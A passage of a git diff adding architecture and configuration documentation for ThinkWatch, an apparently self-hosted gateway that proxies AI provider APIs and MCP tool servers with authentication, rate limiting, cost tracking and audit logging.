budgets, token-level usage tracking, and real-time cost calculation. +- **Rate limiting** -- requests-per-minute (RPM) and tokens-per-minute (TPM) enforcement per API key. +- **Audit logging** -- every request is recorded with full context for compliance and debugging. +- **Model access governance** -- fine-grained permissions controlling which users, teams, and roles can access which AI models and MCP tools. +- **Multi-provider abstraction** -- a unified API (OpenAI, Anthropic, and Responses formats) that proxies to OpenAI, Anthropic, Google, Azure OpenAI, AWS Bedrock, and custom providers with automatic request/response format translation. + +--- + +## 2. System Architecture Diagram + +``` + Downstream Clients + +----------------+ +----------------+ +----------------+ + | Claude Code | | Cursor | | Custom Agents | + | (MCP client) | | (OpenAI-compat)| | (API / MCP) | + +-------+--------+ +-------+--------+ +-------+--------+ + | | | + | tw-xxx API key | JWT / API key | + +--------------------+--------------------+ + | + +----------+-----------+ + | Reverse Proxy | + | (nginx / traefik) | + +----+------------+----+ + | | + +--------------+--+ +----+----------------+ + | Gateway :3000 | | Console :3001 | + | +-----------+ | | +--------------+ | + | | /v1/* | | | | /api/* | | + | | AI Proxy | | | | Mgmt REST API| | + | +-----------+ | | +--------------+ | + | +-----------+ | | +--------------+ | + | | /mcp | | | | Web UI (SPA) | | + | | MCP Proxy | | | | React 19 | | + | +-----------+ | | +--------------+ | + | +-----------+ | +---------------------+ + | +-----------+ | + | | /health/* | | + | | /metrics | | + | +-----------+ | + +---------+-------+ + | + +-------------------+-------------------+ + | | | + +-----+------+ +------+------+ +-------+-------+ + | PostgreSQL | | Redis | | ClickHouse | + | users, keys | | rate limits | | audit logs | + | providers | | sessions | | | + | settings | | config sync | | | + | usage, RBAC | | OIDC state | +---------------+ + +-------------+ +-------------+ + + +-------------------+-------------------+ + | | | + +-----+------+ +------+------+ +-------+-------+ + | OpenAI | | Anthropic | | Google | + | API | | API | | Gemini API | + +------------+ +-------------+ +---------------+ + +-----+------+ +------+------+ + | Azure | | AWS | + | OpenAI | | Bedrock | + +------------+ +-------------+ + Upstream AI Providers + + +---------------------------------------------+ + | Upstream MCP Servers (Streamable HTTP) | + | e.g. filesystem, github, database, etc. | + +---------------------------------------------+ + + +---------------------------------------------+ + | Zitadel (OIDC SSO Provider) | + | External identity provider for SSO login | + +---------------------------------------------+ +``` + +--- + +## 3. Dual-Port Architecture + +ThinkWatch binds two separate TCP listeners on a single process: + +| Port | Name | Purpose | Audience | +|------|---------|-------------------------------------------|--------------------| +| 3000 | Gateway | AI API proxy (`/v1/chat/completions`, `/v1/messages`, `/v1/responses`, `/v1/models`), MCP proxy (`/mcp`), health checks (`/health/live`, `/health/ready`), Prometheus metrics (`/metrics`) | AI clients, agents, monitoring | +| 3001 | Console | Management REST API (`/api/*`), Web UI | Administrators | + +### Why Two Ports? + +**Security isolation.** The gateway port is the only port that should be exposed to the public network or developer workstations. It accepts API key authentication and serves the high-throughput proxy path. The console port serves the administrative interface and should be restricted to an internal network, VPN, or localhost. + +**Network topology recommendations:** + +- **Production:** Place a reverse proxy (nginx, traefik, or a cloud load balancer) in front of both ports. Expose only port 3000 to the public or developer network. Restrict port 3001 to an internal network segment or require VPN access. +- **Kubernetes:** Create two separate Ingress resources -- a public Ingress for the gateway host and an internal Ingress (or no Ingress at all, using port-forward) for the console host. +- **Development:** Both ports are accessible on localhost. The React dev server (pnpm dev) proxies API calls to `localhost:3001`. + +--- + +## 4. AI API Gateway Data Flow + +When a client sends a request through the gateway (via `/v1/chat/completions`, `/v1/messages`, or `/v1/responses`), the following steps occur: + +``` +Client Gateway :3000 Upstream Provider + | | | + | POST /v1/chat/completions | + | Authorization: Bearer tw-xxxx | + |----------------------->| | + | | | + | 1. API Key Auth Middleware | + | - Extract key prefix (tw-xxxx) | + | - Hash key, lookup in PostgreSQL | + | - Validate: active, not expired, budget ok | + | - Attach user_id, team_id, scopes to request | + | | | + | 2. Model Router | + | - Extract model from request body | + | - Find provider + model in registry | + | - Check model_permissions for user/team/role | + | - Check allowed_models on the API key | + | | | + | 3. Request Transform | + | - If provider is Anthropic: -> Claude format | + | - If provider is Google: -> Gemini format | + | - If provider is Azure: -> Azure OpenAI format| + | - If provider is Bedrock: -> Converse API | + | - If provider is OpenAI: pass through | + | | | + | 4. Rate Limiter | + | - Check RPM counter in Redis | + | - Estimate tokens, check TPM counter | + | - If exceeded: return 429 Too Many Requests | + | | | + | 5. Upstream Proxy | + | - Build request with provider API key | + | (decrypted from providers.api_key_encrypted)| + | - Forward to provider base_url | + | |--- POST provider.base_url ---------->| + | | | + | |<--- SSE stream / JSON response ------| + | | | + | 6. Response Transform | + | - Convert upstream response to client format | + | - Bedrock: decode binary event-stream | + | - Stream SSE chunks back to client | + | | | + |<-- SSE stream ---------| | + | | | + | 7. Async Post-Processing (spawned task) | + | - Count input/output tokens (tiktoken) | + | - Calculate cost from model pricing | + | - Insert usage_record into PostgreSQL | + | - Push audit log to ClickHouse | + | - Forward to log forwarders (syslog/kafka/webhook) | + | - Update rate limit counters in Redis | + | | | + | 8. Access logging | + | - method, path, status, latency, and client | + | IP recorded to ClickHouse asynchronously | +``` + +### Key Design Decisions + +- **Streaming-first:** The proxy uses `eventsource-stream` and `async-stream` to forward SSE chunks in real time with minimal buffering. For AWS Bedrock, native binary event-stream decoding is used. Token counting happens after the stream completes. +- **Provider API keys are encrypted at rest** using AES-256-GCM. The `ENCRYPTION_KEY` environment variable provides the 256-bit key. For AWS Bedrock, credentials (`ACCESS_KEY_ID:SECRET_ACCESS_KEY`) are encrypted with the same scheme and used for SigV4 request signing via the official `aws-sigv4` crate. +- **Multi-format support:** The gateway accepts three API formats: OpenAI Chat Completions (`/v1/chat/completions`), Anthropic Messages (`/v1/messages`), and OpenAI Responses (`/v1/responses`). Regardless of the inbound format, the request is routed through the same model router and translated to the upstream provider's native format. This means a single `tw-` API key can be used with any client tool. + +--- + +## 5. MCP Gateway Data Flow + +The MCP gateway allows clients (such as Claude Code or Cursor) to access remote MCP tool servers through a single authenticated endpoint: + +``` +MCP Client MCP Gateway :3000/mcp Upstream MCP Server + | | | + | POST /mcp | | + | Authorization: Bearer | + | (or tw-xxx API key) | | + |-------------------------->| | + | | | + | 1. Authentication | + | - Validate JWT or API key | + | - Extract user identity + roles | + | | | + | 2. Session Management | + | - Mcp-Session-Id header check | + | - Create new session or resume existing | + | - Session state stored in Redis | + | | | + | 3. JSON-RPC Dispatch | + | Parse method: | + | - "initialize" -> return capabilities | + | - "tools/list" -> aggregate from registry | + | - "tools/call" -> route to server | + | | | + | 4. Tool Namespace Resolution (tools/call) | + | - Tool name: "github__create_issue" | + | - Split on "__" -> server="github", | + | tool="create_issue" | + | - Look up server in mcp_servers registry | + | | | + | 5. Access Control Check | + | - Check mcp_tool_permissions for | + | user/team/role against this tool | + | - Deny if not permitted | + | | | + | 6. Connection Pool -> Upstream | + | - Get/create connection from pool | + | - Forward JSON-RPC call to upstream server | + | |--- POST server.endpoint_url ---->| + | |<-- JSON-RPC response ------------| + | | | + | 7. Response Forwarding + Audit | + | - Return JSON-RPC response to client | + | - Log tool invocation to audit_logs | + | | | + |<-- JSON-RPC response -----| | +``` + +### Key Design Decisions + +- **Streamable HTTP transport** is the primary MCP transport. The gateway connects to upstream servers via `streamable_http`. +- **Tool aggregation:** When a client calls `tools/list`, the gateway aggregates tools from all registered MCP servers that the user has access to, prefixing each tool name with its server name and `__` to avoid collisions. +- **Connection pooling** reuses upstream MCP connections to avoid repeated handshakes. +- **Health checking** runs periodically (configurable via `health_check_interval`) to mark servers as healthy or unhealthy. + +--- + +## 6. Crate Architecture + +ThinkWatch is structured as a Cargo workspace with five crates: + +``` +crates/ + server/ # Binary crate -- HTTP servers, routes, handlers, middleware + gateway/ # Library -- AI API proxy engine + mcp-gateway/ # Library -- MCP proxy engine + auth/ # Library -- authentication and authorization + common/ # Library -- shared infrastructure +``` + +### server + +The application entry point. Contains: + +- **`main.rs`** -- Initializes config, database, Redis, runs startup validation (dependency checks, JWT secret entropy), and starts both the gateway and console Axum servers. +- **`app.rs`** -- Builds the Axum router trees for both ports. +- **`background_tasks/`** -- Periodic background jobs: + - `api_key_lifecycle.rs` -- Runs hourly to enforce key rotation periods, inactivity timeouts, and expiry policies. + - `data_retention.rs` -- Runs daily to purge expired usage records, audit logs, and soft-deleted records past the 30-day retention window. +- **`handlers/`** -- Request handlers organized by domain: + - `auth.rs`, `sso.rs` -- Login, registration, OIDC callbacks + - `api_keys.rs` -- CRUD for virtual API keys + - `providers.rs` -- AI provider and model management + - `mcp_servers.rs`, `mcp_tools.rs` -- MCP server registry management + - `analytics.rs`, `audit.rs` -- Usage dashboards, audit log queries + - `admin.rs` -- User management, role assignment, system settings + - `settings.rs` -- Dynamic configuration CRUD (`GET/PATCH /api/admin/settings`, category filtering) + - `setup.rs` -- First-run setup wizard (`GET /api/setup/status`, `POST /api/setup/initialize`) + - `health.rs` -- Health check endpoints (`/health/live`, `/health/ready`, `/api/health`) + - `metrics.rs` -- Prometheus metrics endpoint (`GET /metrics`) +- **`middleware/`** -- Axum middleware layers: + - `api_key_auth.rs` -- Extracts and validates `tw-` API keys for gateway routes + - `auth_guard.rs` -- Validates JWT tokens for console routes + - `require_role.rs` -- RBAC enforcement middleware + +### gateway + +The AI API proxy engine. Contains: + +- **`providers/`** -- Provider implementations behind a common trait: + - `traits.rs` -- `AiProvider` trait defining the proxy interface + - `openai.rs` -- OpenAI proxy (passthrough) + - `anthropic.rs` -- Anthropic Claude proxy with format translation + - `google.rs` -- Google Gemini proxy with format translation + - `azure.rs` -- Azure OpenAI proxy with `api-key` header auth and `api_version` query parameter + - `bedrock.rs` -- AWS Bedrock proxy with SigV4 signing (official `aws-sigv4` crate), Converse API, and native binary event-stream streaming + - `custom.rs` -- Generic OpenAI-compatible provider proxy +- **`proxy.rs`** -- Core proxy logic: receives request, selects provider, forwards, returns response. +- **`router.rs`** -- Model-to-provider routing and permission checks. +- **`streaming.rs`** -- SSE stream forwarding and chunk processing. +- **`transform/`** -- Request/response format conversion between OpenAI, Anthropic, Google, Azure, and Bedrock formats. +- **`rate_limiter.rs`** -- Redis-backed RPM/TPM rate limiting with sliding window counters. +- **`token_counter.rs`** -- Token counting using `tiktoken-rs` for usage tracking and TPM enforcement. +- **`cost_tracker.rs`** -- Real-time cost calculation based on model pricing from the database. +- **`circuit_breaker.rs`** -- Three-state circuit breaker (Closed/Open/HalfOpen) per provider, with configurable `failure_threshold` and `recovery_secs`. +- **`retry.rs`** -- Retry with exponential backoff for transient failures (NetworkError, UpstreamRateLimited), with configurable `max_retries`, `initial_delay_ms`, `max_delay_ms`, and `jitter`. + +### mcp-gateway + +The MCP proxy engine. Contains: + +- **`proxy.rs`** -- Core MCP proxy: receives JSON-RPC requests, dispatches to the correct upstream server. +- **`registry.rs`** -- In-memory registry of MCP servers and their tools, synced from PostgreSQL. +- **`pool.rs`** -- Connection pool for upstream MCP server connections. +- **`session.rs`** -- Session management for stateful MCP interactions (Redis-backed). +- **`access_control.rs`** -- Permission checks for tool invocations against `mcp_tool_permissions`. +- **`health.rs`** -- Periodic health checking of registered MCP servers. +- **`transport/`** -- Transport layer implementations: + - `streamable_http.rs` -- Streamable HTTP transport client for upstream MCP servers. + +### auth + +Authentication and authorization library. Contains: + +- **`jwt.rs`** -- JWT token creation and validation using `jsonwebtoken`. +- **`api_key.rs`** -- API key generation (`tw-` prefixed), hashing, and validation. +- **`password.rs`** -- Password hashing and verification using Argon2. +- **`oidc.rs`** -- OpenID Connect client for SSO with Zitadel or any OIDC provider. Handles authorization URL generation, callback processing, and user provisioning. +- **`rbac.rs`** -- Role-based access control: permission loading, role hierarchy, and authorization checks. + +### common + +Shared infrastructure used by all other crates. Contains: + +- **`config.rs`** -- `AppConfig` struct loaded from environment variables. +- **`dynamic_config.rs`** -- `DynamicConfig` system that loads settings from the `system_settings` database table. Supports multi-instance sync via Redis Pub/Sub and in-memory caching. Covers JWT TTLs, cache TTL, the policies of the request guards (outbound redaction, tool-call inspection and the content filter), budget thresholds, API key policies, and data retention settings. +- **`db.rs`** -- PostgreSQL connection pool setup using `sqlx`. +- **`models/`** -- Database model structs (one per domain entity): `user.rs`, `team.rs`, `api_key.rs`, `provider.rs`, `mcp_server.rs`, `usage.rs`, `audit_log.rs`. +- **`dto/`** -- Data transfer objects for API request/response serialization. +- **`errors.rs`** -- Unified error type with HTTP status code mapping. +- **`crypto.rs`** -- AES-256-GCM encryption/decryption for provider API keys. +- **`audit.rs`** -- Audit log writer (PostgreSQL + optional ClickHouse + optional syslog forwarding). +- **`validation.rs`** -- Password complexity validation (8+ chars, uppercase, lowercase, digit). + +--- + +## 7. Log Exploration Architecture + +### Log Storage Architecture + +ThinkWatch stores six types of logs in ClickHouse, each in a dedicated table: + +| Table | Purpose | TTL | +|-------|---------|-----| +| `audit_logs` | Security audit trail (login, API key ops, settings changes) | 90 days | +| `gateway_logs` | AI API request logs (model, tokens, cost, latency) | 90 days | +| `mcp_logs` | MCP tool invocation logs (server, tool, duration, status) | 90 days | +| `platform_logs` | Platform management operations | 90 days | +| `access_logs` | HTTP access logs for both ports (method, path, status, latency) | 30 days | +| `app_logs` | Application runtime tracing (level, target, message, spans) | 30 days | + +All tables use MergeTree engine with monthly partitioning and TTL-based automatic cleanup. HTTP access logs and application traces are written asynchronously to avoid blocking request processing. + +All log types are queryable from a single **Log Explorer** page in the admin console with structured query syntax. + +--- + +## 8. Database Schema Overview + +The database schema is defined across twelve migration files applied in order on startup: + +### 001_init_users -- User Accounts + +| Table | Purpose | +|---------|---------| +| `users` | Core user accounts with email, display name, password hash (for local auth), and OIDC subject/issuer (for SSO). | + +### 002_init_teams -- Team Organization + +| Table | Purpose | +|----------------|---------| +| `teams` | Organizational teams with optional monthly budget limits. | +| `team_members` | Many-to-many join between users and teams, with a role field (owner/member). | + +### 003_init_rbac -- Role-Based Access Control + +| Table | Purpose | +|--------------------|---------| +| `roles` | Named roles. Five system roles are seeded: `super_admin`, `admin`, `team_manager`, `developer`, `viewer`. | +| `permissions` | Fine-grained permissions as (resource, action) pairs. | +| `role_permissions` | Maps roles to their granted permissions. | +| `user_roles` | Assigns roles to users with an optional scope (global or team-scoped). | + +### 004_init_api_keys -- Virtual API Keys + +| Table | Purpose | +|------------|---------| +| `api_keys` | Virtual API keys (`tw-` prefixed) issued to users or teams. Each key stores: hashed key, allowed models, rate limits (RPM/TPM), monthly budget, expiration, and scopes. | + +### 005_init_providers -- AI Provider Configuration + +| Table | Purpose | +|---------------------|---------| +| `providers` | Upstream AI provider configuration: name, type (openai/anthropic/google/azure/bedrock/custom), base URL, AES-encrypted API key, and optional `config_json` (e.g. `api_version` for Azure). | +| `models` | AI models registered under a provider, with input/output token pricing and an optional maximum number of output tokens a request may ask for. | +| `model_permissions` | Access control rules for models, grantable by role, team, or individual user. | + +### 006_init_mcp_servers -- MCP Server Registry + +| Table | Purpose | +|------------------------|---------| +| `mcp_servers` | Registered upstream MCP servers: endpoint URL, transport type, auth configuration, health status, and check interval. | +| `mcp_tools` | Tools discovered from each MCP server, with their JSON Schema input definitions. | +| `mcp_tool_permissions` | Access control rules for individual MCP tools, grantable by role, team, or user. | + +### 007_init_usage_audit -- Usage Tracking and Audit + +| Table | Purpose | +|-----------------|---------| +| `usage_records` | Per-request usage data: API key, user, team, provider, model, token counts, cost in USD, latency, and HTTP status. Indexed by time and by user/team/key for dashboard queries. | +| `audit_logs` | Security audit trail: user, API key, action, resource, detail JSON, IP address, and user agent. | +| `budget_alerts` | Records of budget threshold notifications for teams and API keys. | + +### 008--012 -- Additional Migrations + +The remaining migrations add: + +| Table / Change | Purpose | +|----------------|---------| +| `system_settings` | Dynamic configuration key-value store with category, description, and type metadata. Queried by the `DynamicConfig` system and editable via the Admin Settings UI. | +| `api_keys.rotation_period_days` | Per-key automatic rotation interval. | +| `api_keys.inactivity_timeout_days` | Auto-disable key after N days of inactivity. | +| `api_keys.last_used_at` | Timestamp of last key usage, used by the inactivity timeout policy. | +| `api_keys.grace_period_expires_at` | Allows the old key to remain valid during rotation until the grace period expires. | +| `users.deleted_at` | Soft-delete column for user accounts. | +| `providers.deleted_at` | Soft-delete column for provider records. | +| `api_keys.deleted_at` | Soft-delete column for API keys. | +| New indexes | Performance indexes on hot query paths (usage records by time range, audit logs by user, API keys by team). | + +--- + +## 9. Frontend Architecture + +The web console is a single-page application located in the `web/` directory. + +### Technology Stack + +- **React 19** with TypeScript +- **shadcn/ui** component library (Tailwind CSS-based) +- **Simple pushState routing** (no external router library) +- **Fetch API** for all HTTP requests, with JWT from `localStorage` + +### Page Structure + +The UI consists of approximately 20 pages organized into six groups: + +| Group | Pages | Description | +|-------------|-----------------------------------|-------------| +| Setup | `setup.tsx` | First-run setup wizard (super_admin creation, site config, optional provider setup) | +| Auth | `login.tsx` | Login form (local + OIDC SSO) | +| Dashboard | `dashboard.tsx` | Overview: usage charts, cost summary, recent activity | +| Gateway | `providers.tsx`, `models.tsx`, `api-keys.tsx`, `logs.tsx` | AI provider management, model registry, API key CRUD, request logs | +| MCP | `servers.tsx`, `tools.tsx`, `logs.tsx` | MCP server registry, tool discovery/permissions, MCP request logs | +| Analytics | `usage.tsx`, `costs.tsx`, `audit.tsx` | Token usage dashboards, cost breakdowns, audit log search | +| Admin | `users.tsx`, `roles.tsx`, `settings.tsx` | User management, RBAC role configuration, system settings | + +### API Client Pattern + +All pages communicate with the console server (`/api/*`) using a shared fetch wrapper that: + +1. Reads the JWT from `localStorage`. +2. Attaches it as `Authorization: Bearer `. +3. Handles 401 responses by redirecting to the login page. +4. Parses JSON responses and surfaces errors to the UI. + +The web UI is built as a static SPA and served either by the development server (Vite with `pnpm dev`) or by an nginx container in production (see `deploy/docker/Dockerfile.web` and `deploy/docker/nginx.conf`). diff --git a/src/content/docs/en/configuration.md b/src/content/docs/en/configuration.md new file mode 100644 index 0000000..206d237 --- /dev/null +++ b/src/content/docs/en/configuration.md @@ -0,0 +1,569 @@ +# ThinkWatch Configuration Reference + +This document provides a complete reference for all configuration options in ThinkWatch. Configuration is managed through a combination of environment variables (for infrastructure and secrets) and database-backed dynamic settings (configurable via the admin Web UI). + +--- + +## Environment Variables + +### Database + +#### `DATABASE_URL` + +| Property | Value | +| --------- | ---------------------------------------------------------- | +| Required | Yes | +| Default | — | +| Example | `postgres://thinkwatch:password@localhost:5432/thinkwatch` | + +PostgreSQL connection string. ThinkWatch requires PostgreSQL 15 or later. + +**Security notes:** +- In production, use `sslmode=require` to enforce encrypted connections: `postgres://user:pass@host:5432/db?sslmode=require` +- Avoid embedding passwords in URLs checked into version control. Use a secrets manager. +- The database user needs permissions to create tables (for migrations) or should have migrations applied separately. +- Connect directly or through a pooler in session mode, not transaction mode: schema setup at startup holds a session-level advisory lock. See [External PostgreSQL and Redis](/docs/deployment-guide#46-external-postgresql-and-redis). + +--- + +#### `REDIS_URL` + +| Property | Value | +| --------- | ---------------------------------------- | +| Required | Yes | +| Default | — | +| Example | `redis://localhost:6379` | + +Redis connection string. Used for rate limiting, OIDC state/nonce storage, and session management. + +**Security notes:** +- In production, enable Redis authentication: `redis://:yourpassword@host:6379` +- For TLS-enabled Redis, use the `rediss://` scheme: `rediss://:password@host:6380` +- For a Redis Cluster, use `redis-cluster://` (`rediss-cluster://` over TLS). For a certificate signed by a private CA, set `REDIS_CA_CERT` to the CA's PEM file. See [External PostgreSQL and Redis](/docs/deployment-guide#46-external-postgresql-and-redis). + +--- + +### Cryptography + +#### `JWT_SECRET` + +| Property | Value | +| --------- | -------------------------------------------------- | +| Required | Yes | +| Default | — | +| Example | `a3f8c1e0b9d74...` (64-character hex string) | + +Shared secret used for HS256 JWT signing and verification. Must be at least 32 characters long, and at least 256 bits (32 bytes / 64 hex characters) is recommended for adequate security. At startup, ThinkWatch performs an entropy check on this value and will refuse to start if it does not meet the minimum length requirement. + +**Security notes:** +- Generate with: `openssl rand -hex 32` +- **Minimum 32 characters required.** Shorter values will cause a startup failure. +- Changing this value invalidates all active access and refresh tokens, forcing all users to re-authenticate. +- Never reuse this value across environments (dev/staging/prod). +- Store in a secrets manager, not in plaintext files. + +--- + +#### `ENCRYPTION_KEY` + +| Property | Value | +| --------- | -------------------------------------------------- | +| Required | Yes | +| Default | — | +| Example | `b7e4d219f0c83...` (64-character hex string) | + +256-bit key (32 bytes, encoded as 64 hex characters) used for AES-256-GCM encryption of sensitive data at rest (provider API keys, MCP server auth secrets). + +**Security notes:** +- Generate with: `openssl rand -hex 32` +- Changing this value renders all previously encrypted data (provider API keys, MCP auth secrets) unreadable. You must re-enter those values after rotation. +- This is the most critical secret in the system. Compromise of this key exposes all stored provider credentials. +- Store in a hardware security module (HSM) or secrets manager in production. + +--- + +### Server + +#### `SERVER_HOST` + +| Property | Value | +| --------- | --------------- | +| Required | No | +| Default | `0.0.0.0` | +| Example | `127.0.0.1` | + +IP address the servers bind to. Use `0.0.0.0` to listen on all interfaces, or `127.0.0.1` to restrict to localhost only. + +--- + +#### `GATEWAY_PORT` + +| Property | Value | +| --------- | ------ | +| Required | No | +| Default | `3000` | +| Example | `8080` | + +TCP port for the gateway server (OpenAI-compatible API and MCP transport). + +--- + +#### `CONSOLE_PORT` + +| Property | Value | +| --------- | ------ | +| Required | No | +| Default | `3001` | +| Example | `8081` | + +TCP port for the console server (management API and admin endpoints). + +--- + +#### `CORS_ORIGINS` + +| Property | Value | +| --------- | ---------------------------------------- | +| Required | No | +| Default | `http://localhost:5173` | +| Example | `https://console.example.com,https://admin.example.com` | + +Comma-separated list of allowed CORS origins. Each origin must include the scheme (`http://` or `https://`) and must not include a trailing slash. + +**Security notes:** +- In production, restrict to only the domain(s) that host your console frontend. +- Do not use `*` as this disables CORS protection entirely. + +--- + +### Observability + +#### `CLICKHOUSE_URL` + +| Property | Value | +| --------- | ------------------------------ | +| Required | No | +| Default | — | +| Example | `http://clickhouse:8123` | + +Base URL of the ClickHouse HTTP interface for audit log storage and search. If not set, audit log ingestion to ClickHouse will be unavailable (entries are still logged to stdout and forwarded to configured log forwarders). + +--- + +#### `CLICKHOUSE_DB` + +| Property | Value | +| --------- | --------------------------- | +| Required | No | +| Default | `think_watch` | +| Example | `think_watch_prod` | + +Name of the ClickHouse database where audit log tables are stored. ThinkWatch automatically creates the database and tables on startup if they do not exist. + +--- + +#### `CLICKHOUSE_USER` + +| Property | Value | +| --------- | --------------------------- | +| Required | No | +| Default | `default` | +| Example | `thinkwatch` | + +ClickHouse user for authentication. + +--- + +#### `CLICKHOUSE_PASSWORD` + +| Property | Value | +| --------- | --------------------------- | +| Required | No | +| Default | — | +| Example | `your-clickhouse-password` | + +ClickHouse password for authentication. + +**Security notes:** +- In production, always set a strong password for ClickHouse. +- Store in a secrets manager, not in plaintext files. + +--- + +#### `RUST_LOG` + +| Property | Value | +| --------- | -------------------------------------------------------- | +| Required | No | +| Default | `info` | +| Example | `thinkwatch=debug,tower_http=debug,sqlx=warn` | + +Controls log verbosity using the [`tracing-subscriber` `EnvFilter` syntax](https://docs.rs/tracing-subscriber/latest/tracing_subscriber/filter/struct.EnvFilter.html). Accepts comma-separated directives of the form `target=level`. + +Common configurations: + +| Use Case | Value | +| --------------------- | -------------------------------------------------- | +| Production | `info` or `thinkwatch=info,tower_http=warn` | +| Debugging HTTP | `thinkwatch=debug,tower_http=debug` | +| Debugging SQL | `thinkwatch=debug,sqlx=debug` | +| Minimal output | `warn` | + +--- + +### OIDC / SSO + +All four OIDC variables must be set together to enable SSO. If any are missing, OIDC is disabled and `GET /api/auth/sso/authorize` returns 500. + +#### `OIDC_ISSUER_URL` + +| Property | Value | +| --------- | ---------------------------------------------------------------- | +| Required | No (required if SSO is desired) | +| Default | — | +| Example | `https://login.microsoftonline.com/tenant-id/v2.0` | + +The OIDC issuer URL. ThinkWatch fetches the `.well-known/openid-configuration` document from this URL at startup to discover endpoints. + +--- + +#### `OIDC_CLIENT_ID` + +| Property | Value | +| --------- | ---------------------------- | +| Required | No (required if SSO) | +| Default | — | +| Example | `abcdef12-3456-7890-abcd-ef1234567890` | + +The client ID registered with your OIDC identity provider. + +--- + +#### `OIDC_CLIENT_SECRET` + +| Property | Value | +| --------- | ---------------------------------- | +| Required | No (required if SSO) | +| Default | — | +| Example | `your-client-secret-value` | + +The client secret for the OIDC application. + +**Security notes:** +- This is a sensitive credential. Store it in a secrets manager. +- Rotate periodically according to your IdP's recommendations. + +--- + +#### `OIDC_REDIRECT_URL` + +| Property | Value | +| --------- | -------------------------------------------------------------- | +| Required | No (required if SSO) | +| Default | — | +| Example | `https://console.example.com/api/auth/sso/callback` | + +The full URL that the OIDC provider redirects to after authentication. This must exactly match the redirect URI registered in your IdP configuration and must be reachable by the user's browser. + +--- + +## Provider Configuration + +Providers are configured through the admin Web UI (Admin > Providers) or the `POST /api/admin/providers` API. Each provider type has specific configuration requirements: + +### OpenAI + +| Field | Value | +| --------------- | ---------------------------------- | +| `provider_type` | `openai` | +| `base_url` | `https://api.openai.com` | +| `api_key` | `sk-...` (OpenAI API key) | + +Models with prefixes `gpt-`, `o1-`, `o3-`, `o4-` are automatically routed to this provider. + +### Anthropic + +| Field | Value | +| --------------- | ---------------------------------- | +| `provider_type` | `anthropic` | +| `base_url` | `https://api.anthropic.com` | +| `api_key` | `sk-ant-...` (Anthropic API key) | + +Models with prefix `claude-` are automatically routed to this provider. + +### Google Gemini + +| Field | Value | +| --------------- | ---------------------------------------------- | +| `provider_type` | `google` | +| `base_url` | `https://generativelanguage.googleapis.com` | +| `api_key` | Google AI API key | + +Models with prefix `gemini-` are automatically routed to this provider. + +### Azure OpenAI + +| Field | Value | +| --------------- | ---------------------------------------------- | +| `provider_type` | `azure` | +| `base_url` | `https://{resource}.openai.azure.com` | +| `api_key` | Azure API key | +| `config_json` | `{"api_version": "2024-12-01-preview"}` | + +Azure OpenAI uses the `api-key` header (not Bearer token) for authentication. The `api_version` is passed as a query parameter. Azure does not support automatic model routing -- you must explicitly register models via Admin > Models. + +### AWS Bedrock + +| Field | Value | +| --------------- | ---------------------------------------------- | +| `provider_type` | `bedrock` | +| `base_url` | AWS region (e.g. `us-east-1`) | +| `api_key` | `ACCESS_KEY_ID:SECRET_ACCESS_KEY` | + +AWS Bedrock uses SigV4 request signing via the official `aws-sigv4` Rust crate. The `base_url` field specifies the AWS region, and the `api_key` field contains the IAM credentials in `ACCESS_KEY_ID:SECRET_ACCESS_KEY` format. Streaming uses the native Bedrock binary event-stream protocol (Converse API). Like Azure, Bedrock does not support automatic model routing -- you must explicitly register models via Admin > Models. + +### Custom (OpenAI-compatible) + +| Field | Value | +| --------------- | ---------------------------------------------- | +| `provider_type` | `custom` | +| `base_url` | Any OpenAI-compatible endpoint URL | +| `api_key` | Bearer token for the endpoint | + +Use this type for self-hosted models (vLLM, Ollama, LiteLLM, etc.) or any third-party service that implements the OpenAI API format. + +### Provider Auto-Loading + +On startup, ThinkWatch loads all active providers from the database and registers them in the model router. Models are routed based on: + +1. **Prefix matching** (for OpenAI, Anthropic, Google): Models matching the provider's default prefix are automatically routed. +2. **Explicit registration** (for Azure, Bedrock, Custom): Models must be registered via the Admin > Models page with a specific provider assignment. + +--- + +## Configuration Patterns + +### Development vs Production + +| Setting | Development | Production | +| ----------------- | -------------------------------------------- | ------------------------------------------- | +| `DATABASE_URL` | Local PostgreSQL without SSL | Managed PostgreSQL with `sslmode=require` | +| `REDIS_URL` | Local Redis without auth | Redis with `requirepass` or managed Redis | +| `JWT_SECRET` | Any stable value for dev convenience | Cryptographically random 256-bit key | +| `ENCRYPTION_KEY` | Any stable 32-byte hex for dev convenience | Cryptographically random, stored in HSM | +| `CORS_ORIGINS` | `http://localhost:5173` | `https://console.yourdomain.com` | +| `RUST_LOG` | `thinkwatch=debug,tower_http=debug` | `info` or `thinkwatch=info` | +| OIDC variables | _(unset unless testing SSO)_ | Fully configured | + +### Using .env Files + +For local development, create a `.env` file in the project root: + +```bash +# .env (DO NOT commit this file) +DATABASE_URL=postgres://thinkwatch:devpass@localhost:5432/thinkwatch +REDIS_URL=redis://localhost:6379 +JWT_SECRET=dev-only-jwt-secret-do-not-use-in-production-000000 +ENCRYPTION_KEY=0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef +CORS_ORIGINS=http://localhost:5173 +RUST_LOG=thinkwatch=debug,tower_http=debug +``` + +ThinkWatch loads `.env` automatically via the `dotenvy` crate. The `.env` file should be listed in `.gitignore`. + +### Environment File + +ThinkWatch uses a single `.env` file at the project root for all environments: + +- **Development**: `cargo run` loads via `dotenvy`, `docker compose` loads via `--env-file .env` (configured in Makefile) +- **Production**: Uses `.env.production` at the project root, loaded via `make deploy` + +There is no separate `deploy/.env` file. Copy `.env.example` to get started: + +```bash +cp .env.example .env +# Edit .env with your values, or run: +# deploy/generate-secrets.sh +``` + +### Docker / Docker Compose + +Pass environment variables through `docker-compose.yml`: + +```yaml +services: + thinkwatch: + image: thinkwatch:latest + environment: + DATABASE_URL: postgres://thinkwatch:${DB_PASSWORD}@postgres:5432/thinkwatch + REDIS_URL: redis://redis:6379 + JWT_SECRET: ${JWT_SECRET} + ENCRYPTION_KEY: ${ENCRYPTION_KEY} + CORS_ORIGINS: https://console.example.com + CLICKHOUSE_URL: http://clickhouse:8123 + RUST_LOG: info + ports: + - "3000:3000" + - "3001:3001" +``` + +Use a `.env` file or shell exports to provide `${DB_PASSWORD}`, `${JWT_SECRET}`, and `${ENCRYPTION_KEY}` without hardcoding them in the compose file. + +### Kubernetes Secrets + +Create a Kubernetes Secret for sensitive values: + +```bash +kubectl create secret generic thinkwatch-secrets \ + --from-literal=JWT_SECRET="$(openssl rand -hex 32)" \ + --from-literal=ENCRYPTION_KEY="$(openssl rand -hex 32)" \ + 